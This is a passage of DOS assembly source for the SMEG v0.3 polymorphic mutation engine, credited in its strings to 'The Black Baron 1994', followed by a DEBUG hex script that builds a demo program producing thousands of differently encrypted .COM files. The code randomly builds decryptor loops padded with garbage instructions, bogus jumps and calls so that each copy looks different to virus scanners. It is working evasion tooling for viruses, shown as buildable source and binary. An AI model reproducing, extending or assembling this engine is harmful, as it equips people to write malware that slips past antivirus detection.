                ; MOV reg0,CS                   (1)
                ; MOV reg7,initial pointer      (3)
                ; MOV DS,reg0                   (2)
                ; MOV reg1,initial counter      (4)
                ; beginning of loop             (0)
                ; XCHG reg0,[reg7+offset]       (01)
                ; XCHG reg2,reg0                (0C)
                ; XOR reg2,reg0                 (F)
                ; DEC reg1                      (D)
                ; XCHG reg2,reg0                (0C)
                ; XCHG reg0,[reg7+offset]       (01)
                ; XCHG reg2,reg0                (0C)
                ; MOV reg2,reg1                 (8)
                ; INC reg7                      (C)
                ; INC reg2                      (0D)
                ; INC reg2                      (0D)
                ; INC reg2                      (0D)
                ; INC reg0                      (02)
                ; XCHG reg2,reg0                (0C)
                ; MOV reg1,reg0                 (0E)
                ; AND reg1,reg1                 (0F)
                ; done                          (-1)
                ; return code 0                 (0)
                db      0E0,0C1,32,40,0,10,0CF,0D0,0C0,10,0C8,0C0,0D0,0D0,0D0
                db      20,0C0,0E0,0F0,-1,0

routine6:       db      55
                ; MOV reg1,initial counter      (4)
                ; MOV reg7,initial pointer      (3)
                ; MOV reg0,CS                   (1)
                ; MOV DS,reg0                   (2)
                ; MOV reg0,encryption value     (E)
                ; MOV reg7,initial pointer      (3)
                ; beginning of loop             (0)
                ; MOV reg2,[reg7+offset]        (5)
                ; DEC reg1                      (D)
                ; SUB reg2,reg0                 (07)
                ; INC reg0                      (02)
                ; SUB reg1,1                    (05)
                ; MOV [reg7+offset],reg2        (6)
                ; INC reg7                      (C)
                ; DEC reg1                      (D)
                ; done                          (-1)
                db      43,12,0E3,5,0D0,70,20,56,0CDh,-1

routineA:       db      47
                ; MOV reg0,encryption value     (E)
                ; MOV reg7,initial pointer      (3)
                ; MOV reg1,initial counter      (4)
                ; XCHG reg2,reg0                (0C)
                ; MOV reg0,CS                   (1)
                ; MOV DS,reg0                   (2)
                ; beginning of loop             (0)
                ; PUSH [reg7+offset]            (08)
                ; POP reg0                      (0B)
                ; XCHG reg2,reg0                (0C)
                ; XOR reg2,reg0                 (F)
                ; MOV [reg7+offset],reg2        (6)
                ; MOV reg2,reg1                 (8)
                ; DEC reg1                      (D)
                ; DEC reg0                      (03)
                ; INC reg2                      (0D)
                ; INC reg2                      (0D)
                ; INC reg2                      (0D)
                ; XCHG reg2,reg0                (0C)
                ; MOV reg1,reg0                 (0E)
                ; ADD reg7,1                    (04)
                ; AND reg1,reg1                 (0F)
                ; done                          (-1)
                ; return code 0                 (0)
                db      0E3,40,0C1,20,0,80,0B0,0CF,68,0D0,30,0D0,0D0,0D0,0C0
                db      0E0,40,0F0,-1,0

crypt_table     dw      offset crypt0
                dw      offset crypt1
                dw      offset crypt2
                dw      offset crypt3
                dw      offset crypt4
                dw      offset crypt5
                dw      offset crypt6
                dw      offset crypt7

jmp_table       dw      offset jmp0
                dw      offset jmp1
                dw      offset jmp2
                dw      offset jmp3

routine_table:  dw      offset routine0
                dw      offset routine1
                dw      offset routine2
                dw      offset routine3
                dw      offset routine4
                dw      offset routine5
                dw      offset routine6
                dw      offset routine7
                dw      offset routine8
                dw      offset routine9
                dw      offset routineA
                dw      offset routineB
                dw      offset routineC
                dw      offset routineD
                dw      offset routineE
                dw      offset routineF

encrypt:        cld
                push    bx si
                mov     bl,[bp.crypt_type]      ; get encryption type
                db      83,0E3,0F ; and bx,0F
                add     bx,bx
                add     bx,offset crypt_table   ; convert to offset
                mov     di,[bp.targetptr]       ; set up loop
                mov     si,[bp.sourceptr]
                mov     cx,[bp.datasize]
                mov     dl,[bp.cryptval]
encrypt_byte:   lodsb
                call    word ptr [bx]
                stosb
                loop    encrypt_byte
                pop     si bx
                retn

crypt0:         xor     al,dl
                inc     dl
                retn

crypt2:         xor     dl,al
                mov     al,dl
                dec     dl
                retn

crypt3:         not     al
crypt4:         xor     al,dl
                inc     dl
                inc     dl
                retn

crypt1:         xor     al,dl
                neg     al
                dec     dl
                dec     dl
                retn

crypt5:         add     al,dl
                inc     dl
                retn

crypt6:         sub     al,dl
                dec     dl
                retn

crypt7:         xor     al,dl
                dec     dl
                retn

counterinit0:   neg     ax
counterinit1:   retn

counterinit2:   neg     ax
counterinit3:   add     ax,ax
                retn

counterinit4:   neg     ax
counterinit5:   mov     cx,ax
                add     ax,ax
                add     ax,cx
                retn

counterinit6:   neg     ax
counterinit7:   add     ax,ax
                add     ax,ax
                retn

jmp0:           mov     al,0E9                  ; encode a JMP
                stosb                           ; (with word offset)
                mov     ax,di                   ; calculate offset to
                sub     ax,[bp.loop_top]        ; top of decryption loop
                inc     ax                      ; adjust for jmp instruction
                inc     ax
                neg     ax                      ; adjust for going back instead
                retn                            ; of forwards

jmp1:           mov     ax,0E0FF                ; encode JMP register
                or      ah,[si]
                retn

jmp2:           mov     ax,0C350                ; encode PUSH/RETn
jmpXdone:       or      al,[si]
                retn

jmp3:           mov     al,0E                   ; encode PUSH CS
                stosb
                call    garble_some             ; garble a bit
                mov     ax,0CB50                ; encode PUSH reg/RETN
                jmp     short jmpXdone

encode_routine: call    rnd_get                 ; pick a random routine
                mov     bx,offset routine_table ; to use
                and     ax,0F
                add     ax,ax
                add     bx,ax
                mov     si,[bx]
                lodsb                           ; get the first byte
                mov     [bp.crypt_type],al      ; and save it
                jmp     short encode_routine2   ; keep going...

encode_it:      lodsb                           ; get the next byte
                cmp     ah,-1                   ; are we done?
                je      use_as_is               ; if so, exit
                xor     bh,bh                   ; convert AL to
                add     al,al                   ; offset in encode_table
                mov     bl,al
                add     bx,offset encode_table
                mov     al,dh
                mov     cx,3
                call    word ptr [bx]           ; call the routine
                xchg    ah,al
                stosb                           ; write the resulting byte
use_as_is:      retn

fill_mod_field: ror     al,cl
fill_field:     and     al,7                    ; get the register # al
                mov     bx,bp
                db      83,0C3,06 ; add bx,6
                xlat
                rol     al,cl
                and     cl,cl                   ; encoding rm or reg?
                jnz     not_memory              ; branch if doing rm
                test    dh,40                   ; memory access?
                jz      not_memory
                cmp     al,3                    ; using bx?
                jne     not_BX
                mov     al,7                    ; change it to di
                jmp     short not_memory
not_BX:         cmp     al,6                    ; is it si?
                jb      not_memory
                sub     al,2                    ; change it to double register
not_memory:     or      ah,al
                retn

fill_reg_reg1:  ror     al,cl                   ; [reg], reg
fill_reg_field: xor     cl,cl                   ; fill bottom 3 bits only
                jmp     short fill_field

fill_mod_n_reg: call    fill_mod_field          ; fill mod field as usual
                mov     al,dh                   ; fill reg field with the
                jmp     short fill_reg_field    ; register that holds the
                                                ; data to be decrypted
fill_reg_reg2:  call    fill_field
                mov     al,dh
                jmp     short fill_reg_reg1

encode_routine2:mov     word ptr [bp.which_tbl],offset encode_tbl1 - 6
process_all:    lodsb                           ; get a byte
                cmp     al,-1                   ; are we at the end?
                jne     process_byte            ; no, keep going
                lodsb                           ; else get returncode and exit
                retn

process_byte:   push    si ax
                mov     cl,4
                call    process_nibble
                xor     cl,cl
                pop     ax
                call    process_nibble
                pop     si
                jmp     short process_all

process_nibble: ror     al,cl                   ; only use the part of
                and     ax,0F                   ; the byte that we want
                jnz     no_switch_table
                and     cl,cl                   ; if the lower half of byte=0,
                jz      switch_tables           ; switch tables
                mov     [bp.loop_top],di        ; otherwise save this location
                retn                            ; as the top of the loop

switch_tables:  mov     word ptr [bp.which_tbl],offset encode_tbl2 - 6
                retn

no_switch_table:push    ax
                call    garble_more
                pop     ax
                add     ax,ax                   ; calculate AX*6+[bp.which_tbl]
                mov     bx,ax
                add     ax,ax
                add     ax,bx
                add     ax,[bp.which_tbl]
                mov     word ptr [bp.which_tbl],offset encode_tbl1 - 6
                xchg    si,ax
                lodsb
                mov     dh,al                   ; dh holds first byte
                lodsb
                xchg    ah,al                   ; ah holds second byte
                call    encode_it               ; process it
                lodsb                           ; now ah holds the next byte
                xchg    ah,al
                call    encode_it               ; process it

                lodsb                           ; get the next byte
                mov     dl,al                   ; it tells us which
                and     ax,0F                   ; value to write in
                add     ax,ax                   ; this is the modifier
                add     ax,offset write_table   ; i.e. pointer, encryption
                xchg    bx,ax                   ; value, etc.
                jmp     word ptr [bx]

write_nothing:  retn

write_cryptval: mov     al,[bp.cryptval]
                stosb
                retn

write_pointer_patch:    ; save location of pointer initialisation
                mov     [bp.pointer_patch],di
                stosw
                retn

write_counter_patch:    ; save location of counter initialisation
                mov     [bp.counter_patch],di
                stosw
                retn

write_ptr_offset:       ; write XXXX of [bx+XXXX]
                mov     ax,[bp.ptr_offsets]
                mov     [bp.pointer_fixup],ax
                stosw
                retn

write_dl:       mov     al,dl                   ; write lower half of top
                mov     cl,4                    ; byte of dl as a word
                shr     al,cl                   ; used as amount to increment
                and     ax,0F
                stosw
                retn

garble_some:    push    si
                mov     dx,3                    ; garble 2-5 times
                call    multiple_garble
                pop     si
                retn

garble_more:    mov     dx,7
multiple_garble:call    rnd_get
                and     ax,dx
                inc     ax
                inc     ax
                xchg    cx,ax
garble_again:   push    cx                      ; save garble count
                call    garble_once             ; garble
                pop     cx                      ; restore garble count
                loop    garble_again

                cmp     [bp.cJMP_patch],cx      ; cJMP_patch == 0? i.e. is
                je      skip_finish_cJMP        ; there an unfinished cJMP?
                call    finish_cJMP             ; if so, finish it
skip_finish_cJMP:call   many_nonbranch_garble   ; garble garble
                mov     bx,[bp.nJMP_patch]      ; check if pending nJMP
                and     bx,bx
                jnz     loc_0047                ; if so, keep going
                retn
loc_0047:                                       ;  xref 4028:0996
                mov     al,0C3                  ; encode a RETN
                stosb
                mov     ax,di
                sub     ax,bx
                dec     ax
                dec     ax
                mov     [bx],ax
                mov     [bp.CALL_patch],bx
                mov     word ptr [bp.nJMP_patch],0

many_nonbranch_garble:
                call    rnd_get                 ; do large instruction
                and     ax,3                    ; garble from 3 to 6 times
                add     al,3
                xchg    cx,ax
many_nonbranch_garble_loop:
                push    cx
                call    not_branch_garble
                pop     cx
                loop    many_nonbranch_garble_loop

                retn

; finish_cJMP simply encodes a few instructions between the conditional
; jmp and its target, and then sets the destination of the jmp to be after
; the inserted instructions.
finish_cJMP:    mov     ax,di                   ; get current location
                mov     bx,[bp.cJMP_patch]      ; get previous location
                sub     ax,bx
                dec     al                      ; calculate offset
                jnz     go_patch_cJMP           ; if nothing in between,
                call    not_branch_garble       ; fill in some instructions
                jmp     short finish_cJMP       ; and do this again
go_patch_cJMP:  cmp     ax,7F                   ; are we close enough?
                jbe     patch_cJMP              ; if so, finish this now
                xor     al,al                   ; if not, encode cJMP $+2
patch_cJMP:     mov     [bx],al                 ; patch the cJMP destination
                mov     word ptr [bp.cJMP_patch],0 ; clear usage flag
                retn

set_reg_mask:   and     cl,0F8                  ; clear bottom 3 bits
                mov     bx,bp
                db      83,0C3,6 ; add bx,6
                mov     dh,7                    ; assume one of 8 registers
                test    dl,4                    ; can we use any register?
                jnz     set_reg_mask_exit       ; if so, quit
                db      83,0C3,3 ; add bx,3     ; otherwise, set mask so we
                mov     dh,3                    ; only choose from regs 3-6
set_reg_mask_exit:
                retn

choose_register:call    rnd_get                 ; get random number
                xor     ah,ah                   ; clear high byte
                and     al,dh                   ; use mask from set_reg_mask
                add     bx,ax
                mov     al,[bx]                 ; get the register number
                test    ch,1                    ; byte or word register?
                jnz     choose_reg_done         ; if word, we are okay
                test    byte ptr [si-2],4       ; otherwise, check if we can
                jnz     choose_reg_done         ; take only half the register
                mov     ah,al                   ; uh oh, we can't, so...
                and     al,3                    ; is it one of the garbage
                cmp     al,[bp+9]               ; registers?
                mov     al,ah                   ; if so, we are done
                jz      choose_reg_done
                mov     al,[bp+9]
                cmp     al,4                    ; ax,cx,dx, or bx?
                jb      werd                    ; to yer muthah!
                pop     ax                      ; pop off return location
                retn                            ; go to caller's caller

werd:           and     ah,4                    ; make either byte or word
                or      al,ah                   ; register
choose_reg_done:retn

garble_once:    call    rnd_get
                cmp     ah,0C8                  ; randomly go to either
                jbe     other_garble            ; here ...
                jmp     branch_garble           ; ... or here

not_branch_garble:
                call    rnd_get
other_garble:   cmp     al,0F0
                jbe     larger_instr            ; mostly do larger instructions
                jmp     do_one_byte             ; 1/16 chance

larger_instr:   and     ax,1F                   ; normalise random number
                cmp     al,[bp.lastgarble]      ; is it the same as before?
                je      not_branch_garble       ; then try again, since we
                                                ; don't want two of the same
                                                ; sort in a row
                mov     [bp.lastgarble],al      ; else remember this one
                add     ax,ax                   ; and process it
                add     ax,offset garble_table
                xchg    si,ax
                lodsw                           ; get table entry
                xchg    cx,ax                   ; keep it in CX
                mov     dl,cl                   ; pick out the bottom
                and     dl,3                    ; mask out low 2 bits
                call    rnd_get
                and     al,3                    ; this line unnecessary
                and     al,dl                   ; patch it into the top
                or      ch,al                   ; byte for variable opcodes
                                                ; (e.g. allows byte & word
                                                ;  forms of opcode to use the
                                                ;  same table entry)
                mov     dl,cl
                and     dl,0C0                  ; mask out mod field
                cmp     dl,0C0                  ; does it indicate register
                mov     dl,cl                   ; operation? i.e. 2 regs
                jz      no_memory               ; if so, branch
                call    set_reg_mask            ; otherwise, process memory
                call    rnd_get                 ; and register operation
                and     al,0C0                  ; clear all but top 2 bits
                or      cl,al                   ; fill in the field
                rol     al,1
                rol     al,1
                mov     dl,al
                call    rnd_get                 ; generate the registers to use
                and     al,7                    ; in memory access,i.e. [bx+si]
                or      cl,al                   ; patch into 2nd byte of instr
                cmp     dl,3
                je      fill_in_rm
                cmp     al,6
                jne     force_byte
                mov     dl,2                    ; alter mask to choose AX or DX
                and     cl,3F
                jmp     short fill_in_rm

force_byte:     and     ch,not 1                ; change to byte data
                                                ; "byte sized"
fill_in_rm:     call    choose_register         ; move register into
                shl     al,1                    ; the rm field
                shl     al,1
                shl     al,1
finish_larger:  or      cl,al                   ; combine data
                xchg    cx,ax                   ; move it to the right register
                xchg    ah,al                   ; reverse byte order
                stosw                           ; write the instruction
                and     dl,dl                   ; needs data bytes?
                jnz     needs_data
                retn

needs_data:     cmp     dl,3                    ; check length of instruction
                jne     do_data_bytes
                retn

do_data_bytes:  call    rnd_get                 ; keep the random number
                and     al,3F                   ; under 40h
                stosb                           ; write the byte
                dec     dl                      ; decrement bytes to write
                jnz     do_data_bytes
                retn

no_memory:      call    set_reg_mask
                call    choose_register
                mov     ah,ch                   ; get the opcode and clear the
                and     ah,0FE                  ; size bit for now
                cmp     ah,0F6
                jne     not_NOT_NEG
                test    cl,10                   ; is it TEST instruction?
                jz      not_NOT_NEG             ; if it is, go find the number
                                                ; of data bytes it needs, else
                                                ; it is NOT or NEG, so there're
no_data_bytes:  xor     dl,dl                   ; no data bytes
                jmp     short finish_larger

not_NOT_NEG:    and     ah,0FC                  ; is it a shift or rotate?
                cmp     ah,0D0
                jne     set_data_length         ; if not, calculate # data
                                                ; bytes needed, else
                jmp     short no_data_bytes     ; we don't need any

set_data_length:test    ch,1                    ; byte or word of data?
                mov     dl,2                    ; assume word
                jnz     finish_larger           ; continue if so
                dec     dl                      ; DEC DX is better!!!
                jmp     short finish_larger     ; otherwise adjust to data

do_one_byte:    and     al,7
                mov     bx,offset onebyte_table
                xlat
                cmp     al,48                   ; DEC?
                je      inc_or_dec
                cmp     al,40                   ; or INC?
                jne     encode_1byte
inc_or_dec:     mov     cl,al
                call    rnd_get                 ; get a garbage register
                and     al,3
                mov     bx,bp                   ; can we say "lea", boys and
                db      83,0C3,9 ; add bx,9     ; girls?
                xlat                            ; look up the register
                or      al,cl                   ; fill in the register field
encode_1byte:   stosb
                retn

branch_garble:  cmp     word ptr [bp.cJMP_patch],0 ; is there an unfinished
                je      no_pending_cJMP         ; conditional jmp?
                jmp     finish_cJMP             ; if so, finish it

no_pending_cJMP:call    rnd_get
                cmp     ah,6E
                ja      do_near_JMP
do_cond_jmp:    and     al,0F                   ; encode a conditional
                or      al,70                   ; jmp
                stosb
                mov     [bp.cJMP_patch],di      ; save target offset
                stosb
                retn

do_near_JMP:    cmp     word ptr [bp.nJMP_patch],0 ; is there an unfinished
                jne     do_cond_jmp             ; near JMP pending?
                call    rnd_get                 ; if not, encode one
                cmp     al,78                   ; either just jmp past
                jbe     encode_CALL             ; or call it too
                mov     al,0E9                  ; encode near JMP
                stosb
                mov     [bp.nJMP_patch],di      ; save location to patch
                stosw
                call    rnd_get
                cmp     al,0AA
                jbe     forward_CALL
go_not_branch_garble:
                jmp     not_branch_garble

forward_CALL:   cmp     word ptr [bp.last_CALL],0 ; is there a garbage CALL
                je      go_not_branch_garble    ; we can patch?
                push    di                      ; if there is, patch the CALL
                xchg    di,ax                   ; for here so there are CALLs
                dec     ax                      ; forwards as well as back-
                dec     ax                      ; wards
                mov     di,[bp.last_CALL]
                sub     ax,di
                stosw
                pop     di
                jmp     not_branch_garble

encode_CALL:    cmp     word ptr [bp.CALL_patch],0 ; is there one pending?
                je      do_cond_jmp
                mov     al,0E8                  ; encode a CALL
                stosb
                cmp     word ptr [bp.last_CALL],0
                je      store_CALL_loc
                call    rnd_get                 ; 1/2 chance of replacing
                and     al,7                    ; it (random so it's not
                cmp     al,4                    ; too predictable)
                jae     fill_in_offset
store_CALL_loc: mov     [bp.last_CALL],di       ; save ptr to CALL offset
fill_in_offset: mov     ax,di                   ; calculate CALL offset
                sub     ax,[bp.CALL_patch]
                neg     ax
                stosw
                retn

rnd_init:       mov     ah,2C                   ; get time
                int     21

                mov     ax,3E1
                mul     dx
                add     ax,cx
                xchg    cx,ax
                in      ax,40                   ; timer port
                add     ax,cx
                mov     [bp.rng_buffer],ax
                retn


rnd_get:        push    bx cx dx
                mov     ax,[bp.rng_buffer]
                mov     cx,3E1
                mul     cx
                mov     cx,ax
                xor     dx,dx
                mov     bx,35
                div     bx
                add     dx,cx
                js      no_fix_seed1
                in      ax,40                   ; port 40, 8253 timer 0 clock
                add     dx,ax
no_fix_seed1:   cmp     dx,[bp.rng_buffer]
                jne     no_fix_seed2
                neg     dx
                in      ax,40                   ; port 40, 8253 timer 0 clock
                xor     dx,ax
no_fix_seed2:   mov     [bp.rng_buffer],dx
                xchg    dx,ax
                pop     dx cx bx
                retn
heap:

data_area       db      02dh dup (?)
target_area:

                end     SMEG_demo
-------------------------------
N SMEGdemo.com
E 0100  E9 C5 01 30 30 30 30 2E 43 4F 4D 00 53 4D 45 47
E 0110  20 76 30 2E 33 2E 20 20 47 65 6E 65 72 61 74 69
E 0120  6F 6E 20 44 69 66 66 65 72 65 6E 63 65 20 44 65
E 0130  6D 6F 6E 73 74 72 61 74 69 6F 6E 0D 0A 09 20 20
E 0140  20 28 43 29 20 54 68 65 20 42 6C 61 63 6B 20 42
E 0150  61 72 6F 6E 20 31 39 39 34 0D 0A 0A 0A 53 45 4C
E 0160  45 43 54 20 54 48 45 20 4E 55 4D 42 45 52 20 4F
E 0170  46 20 47 45 4E 45 52 41 54 49 4F 4E 53 3A 0D 0A
E 0180  0A 31 20 20 2D 2D 20 20 31 30 20 20 20 20 20 47
E 0190  65 6E 65 72 61 74 69 6F 6E 73 0D 0A 32 20 20 2D
E 01A0  2D 20 20 31 30 30 20 20 20 20 20 20 20 20 22 22
E 01B0  0D 0A 33 20 20 2D 2D 20 20 31 30 30 30 20 20 20
E 01C0  20 20 20 20 22 22 0D 0A 34 20 20 2D 2D 20 20 31
E 01D0  30 30 30 30 20 20 20 20 20 20 22 22 20 20 20 20
E 01E0  20 20 20 20 28 4C 61 72 67 65 20 48 44 60 73 20
E 01F0  4F 6E 6C 79 21 21 29 24 20 31 30 20 24 20 31 30
E 0200  30 20 24 20 31 30 30 30 20 24 20 31 30 30 30 30
E 0210  20 24 0D 0A 0A 0A 47 65 6E 65 72 61 74 69 6E 67
E 0220  24 45 78 65 63 75 74 61 62 6C 65 20 2E 43 4F 4D
E 0230  20 47 65 6E 65 72 61 74 69 6F 6E 73 2C 20 50 6C
E 0240  65 61 73 65 20 57 61 69 74 2E 2E 2E 24 0D 0A 0A
E 0250  44 4F 4E 45 21 20 20 4E 6F 77 20 65 78 61 6D 69
E 0260  6E 65 20 65 61 63 68 2C 20 61 6E 64 20 6E 6F 74
E 0270  65 20 68 6F 77 20 64 69 66 66 65 72 65 6E 74 20
E 0280  74 68 65 79 20 61 72 65 21 0D 0A 0A 07 24 0D 0A
E 0290  0A 53 4F 52 52 59 21 20 20 41 20 64 69 73 6B 20
E 02A0  65 72 72 6F 72 20 68 61 73 20 6F 63 63 75 72 72
E 02B0  65 64 21 0D 0A 0A 07 24 0A 00 F8 01 64 00 FD 01
E 02C0  E8 03 03 02 10 27 0A 02 B8 03 00 CD 10 BA 0C 01
E 02D0  B4 09 CD 21 B8 07 0C CD 21 3C 31 72 F7 3C 34 77
E 02E0  F3 2C 31 32 E4 03 C0 03 C0 05 B8 02 93 53 BA 12
E 02F0  02 B4 09 CD 21 5B 8B 0F 51 8B 57 02 CD 21 BA 21
E 0300  02 CD 21 59 51 BD B3 0B BF E0 0B BA 89 03 B9 4A
E 0310  00 B8 00 01 E8 BC 00 B4 5B BA 03 01 33 C9 CD 21
E 0320  73 09 E8 5C 00 59 B8 FF 4C CD 21 93 B4 40 8B 4E
E 0330  27 BA E0 0B CD 21 73 09 E8 46 00 B4 3E CD 21 EB
E 0340  E4 E8 A9 04 B4 40 8B 4E 00 BA E0 0B CD 21 72 E8
E 0350  E8 FA 01 B4 40 CD 21 72 DF B4 3E CD 21 72 C3 BB
E 0360  06 01 B9 04 00 FE 07 80 3F 3A 72 06 80 2F 0A 4B
E 0370  E2 F3 59 E2 8F BA 4D 02 B4 09 CD 21 B8 00 4C CD
E 0380  21 BA 8E 02 B4 09 CD 21 C3 E8 3D 00 0D 0A 54 68
E 0390  69 73 20 77 61 73 20 64 65 63 72 79 70 74 65 64
E 03A0  20 77 69 74 68 20 61 20 53 4D 45 47 20 76 30 2E
E 03B0  33 20 67 65 6E 65 72 61 74 65 64 20 64 65 63 72
E 03C0  79 70 74 6F 72 21 0D 0A 24 5A B4 09 CD 21 B8 00
E 03D0  4C CD 21 89 4E 00 89 56 02 89 7E 04 53 56 8B DD
E 03E0  83 C3 06 B9 2D 00 53 88 2F 43 E2 FB 89 46 1C E8
E 03F0  7E 07 BB 6A 05 E8 8C 07 24 1F D7 5B B9 04 00 32
E 0400  D2 D0 D0 D0 D2 D0 D0 D0 D2 88 17 43 E2 F1 C6 07
E 0410  05 43 43 E8 6E 07 D0 C0 24 01 04 06 88 07 34 01
E 0420  80 7F FD 03 75 05 88 47 FD B0 03 88 47 01 8A 47
E 0430  FD 88 47 FF E8 4D 07 32 C4 74 F9 88 46 10 E8 43
E 0440  07 0C 01 89 46 11 E8 27 07 25 FF 03 05 80 00 89
E 0450  46 25 33 C0 04 53 4D 45 47 04 AE FC 2B F8 E8 23
E 0460  07 25 03 00 04 03 91 51 E8 09 05 E8 16 07 3C 8C
E 0470  76 11 25 03 00 05 D2 05 96 B4 B4 AC 86 E0 AB B8
E 0480  CD 21 AB 59 E2 E1 B0 E8 AA 57 AB E8 E6 04 B0 E9
E 0490  AA 5B 57 AB 57 58 48 48 2B C3 89 07 E8 D5 04 B0
E 04A0  C3 AA 5B 57 58 48 48 2B C3 89 07 E8 CC 03 8B F5
E 04B0  83 C6 08 22 C0 75 02 4E 4E B0 75 AA 47 57 E8 AA
E 04C0  04 5B B0 E9 AA 57 47 47 8B C7 2B C3 88 47 FF E8
E 04D0  99 04 E8 AF 06 25 03 00 03 C0 74 14 50 B0 B8 0A
E 04E0  04 AA 8B 46 13 2B 46 04 03 46 1C AB E8 7C 04 58
E 04F0  05 C5 07 93 FF 17 AB 5B 8B C7 2B C3 48 48 89 07
E 0500  E8 71 04 8B C7 2B 46 04 24 0F 74 11 3C 0C 77 05
E 0510  E8 19 05 EB EE E8 6C 06 E8 C5 05 EB E6 8B C7 2B
E 0520  46 04 89 46 27 03 46 1C 8B 4E 19 2B C1 8B 5E 15
E 0530  89 07 8A 5E 1B B1 03 D2 CB 83 E3 0F 81 C3 D6 05
E 0540  8B 46 00 FF 17 8B 5E 17 89 07 5E 5B C3 8B 4E 25
E 0550  8B 7E 04 51 57 E8 2C 06 AA E2 FA 5A 59 C3 48 09
E 0560  49 09 4E 09 53 09 58 09 60 09 1B C6 B1 6C E4 39
E 0570  4E 93 4B D2 B4 2D E1 78 1E 87 27 C9 72 9C D8 36
E 0580  8D 63 E4 2D 27 1E C6 87 D2 72 48 40 F8 FC F5 F9
E 0590  40 48 F1 80 01 32 C1 F6 05 84 E9 80 01 2A EB D0
E 05A0  01 1A D9 80 D1 80 FB D0 E3 D0 CB D0 C3 D0 05 84
E 05B0  DB D0 C1 C6 C9 80 01 0A D1 F6 D9 F6 01 8A C1 C6
E 05C0  01 02 C1 80 FD 80 07 38 E1 80 D3 D0 01 22 01 12
E 05D0  01 8A 19 2A 2C 30 3E 08 40 08 41 08 43 08 46 08
E 05E0  48 08 4F 08 51 08 A9 08 AA 08 AC 08 D0 08 D2 08
E 05F0  D6 08 DD 08 08 8C 00 C8 04 00 08 8E 00 D8 04 00
E 0600  07 B8 04 FF 00 02 01 B8 04 FF 00 03 57 8A 00 80
E 0610  05 04 57 88 00 80 05 04 02 80 00 F0 04 01 11 8B
E 0620  00 C0 05 00 78 30 00 00 06 00 47 F6 00 98 04 04
E 0630  47 F6 00 90 04 04 07 40 04 FF 00 00 01 48 04 FF
E 0640  00 00 08 B0 04 FF 00 01 10 33 00 C0 05 00 47 86
E 0650  00 80 05 04 08 40 04 FF 00 00 08 48 04 FF 00 00
E 0660  07 81 00 C0 04 15 01 81 00 E8 04 15 10 02 00 C0
E 0670  05 00 10 2A 00 C0 05 00 47 FB 04 B0 04 04 47 8F
E 0680  00 80 04 04 08 50 04 FF 00 00 08 58 04 FF 00 00
E 0690  10 87 00 C0 05 00 02 40 04 FF 00 00 08 8B 00 C0
E 06A0  05 00 09 23 00 C0 05 00 10 13 24 EF 05 F0 26 CD
E 06B0  FF 71 34 12 EE 0D AD 5F 60 30 40 50 30 50 FF 42
E 06C0  43 10 CE E0 C2 00 1F 68 80 D0 D0 D0 30 C0 E0 40
E 06D0  F0 FF 00 33 14 23 EE 0D DB 5F 6F C0 20 20 F0 FF
E 06E0  64 41 2E 3F 09 80 C0 20 D0 20 40 20 20 E0 D0 C0
E 06F0  F0 FF 05 13 42 EF 0D 70 A0 80 B0 C0 B0 A0 76 C8
E 0700  80 D0 D0 C0 E0 B0 20 F0 FF 56 34 12 2E 05 D0 66
E 0710  80 3F DC D0 FF 27 41 32 EF 09 F0 40 A8 D0 D0 D0
E 0720  C0 E0 B0 30 F0 FF 32 41 32 E0 C0 08 D0 BF 60 30
E 0730  C0 4D FF 00 11 43 12 EF 0A 5F D0 30 30 C0 10 C0
E 0740  40 F0 FF 66 31 42 EF 00 A0 88 80 C0 20 20 20 20
E 0750  E0 B0 C0 B0 60 A0 C0 A0 90 B0 3C F0 F0 FF 04 12
E 0760  E8 43 08 D0 D0 C0 E0 C9 C0 20 20 F0 FF 73 31 42
E 0770  E4 0D DD B0 A0 80 B0 C0 BF 60 20 40 20 50 FF 20
E 0780  E0 C1 32 40 00 10 CF D0 C0 10 C8 C0 D0 D0 D0 20
E 0790  C0 E0 F0 FF 00 55 43 12 E3 05 D0 70 20 56 CD FF
E 07A0  47 E3 40 C1 20 00 80 B0 CF 68 D0 30 D0 D0 D0 C0
E 07B0  E0 40 F0 FF 00 11 08 26 08 16 08 1D 08 1F 08 2F
E 07C0  08 34 08 39 08 56 08 63 08 69 08 6F 08 7F 07 BF
E 07D0  06 F2 06 5E 07 A8 06 34 07 95 07 26 07 B1 06 15
E 07E0  07 A0 07 43 07 D3 06 6D 07 E0 06 09 07 FC 53 56
E 07F0  8A 5E 1B 83 E3 0F 03 DB 81 C3 B5 07 8B 7E 04 8B
E 0800  76 02 8B 4E 00 8A 56 10 AC FF 17 AA E2 FA 5E 5B
E 0810  C3 32 C2 FE C2 C3 32 D0 8A C2 FE CA C3 F6 D0 32
E 0820  C2 FE C2 FE C2 C3 32 C2 F6 D8 FE CA FE CA C3 02
E 0830  C2 FE C2 C3 2A C2 FE CA C3 32 C2 FE CA C3 F7 D8
E 0840  C3 F7 D8 03 C0 C3 F7 D8 8B C8 03 C0 03 C1 C3 F7
E 0850  D8 03 C0 03 C0 C3 B0 E9 AA 8B C7 2B 46 13 40 40
E 0860  F7 D8 C3 B8 FF E0 0A 24 C3 B8 50 C3 0A 04 C3 B0
E 0870  0E AA E8 F6 00 B8 50 CB EB F2 E8 07 03 BB CD 07
E 0880  25 0F 00 03 C0 03 D8 8B 37 AC 88 46 1B EB 55 AC
E 0890  80 FC FF 74 14 32 FF 02 C0 8A D8 81 C3 E6 05 8A
E 08A0  C6 B9 03 00 FF 17 86 E0 AA C3 D2 C8 24 07 8B DD
E 08B0  83 C3 06 D7 D2 C0 22 C9 75 13 F6 C6 40 74 0E 3C
E 08C0  03 75 04 B0 07 EB 06 3C 06 72 02 2C 02 0A E0 C3
E 08D0  D2 C8 32 C9 EB D6 E8 D1 FF 8A C6 EB F5 E8 CC FF
E 08E0  8A C6 EB EC C7 46 2B EE 05 AC 3C FF 75 02 AC C3
E 08F0  56 50 B1 04 E8 09 00 32 C9 58 E8 03 00 5E EB E9
E 0900  D2 C8 25 0F 00 75 0E 22 C9 74 04 89 7E 13 C3 C7
E 0910  46 2B 48 06 C3 50 E8 5B 00 58 03 C0 8B D8 03 C0
E 0920  03 C3 03 46 2B C7 46 2B EE 05 96 AC 8A F0 AC 86
E 0930  E0 E8 5B FF AC 86 E0 E8 55 FF AC 8A D0 25 0F 00
E 0940  03 C0 05 5E 05 93 FF 27 C3 8A 46 10 AA C3 89 7E
E 0950  15 AB C3 89 7E 17 AB C3 8B 46 11 89 46 19 AB C3
E 0960  8A C2 B1 04 D2 E8 25 0F 00 AB C3 56 BA 03 00 E8
E 0970  05 00 5E C3 BA 07 00 E8 0A 02 23 C2 40 40 91 51
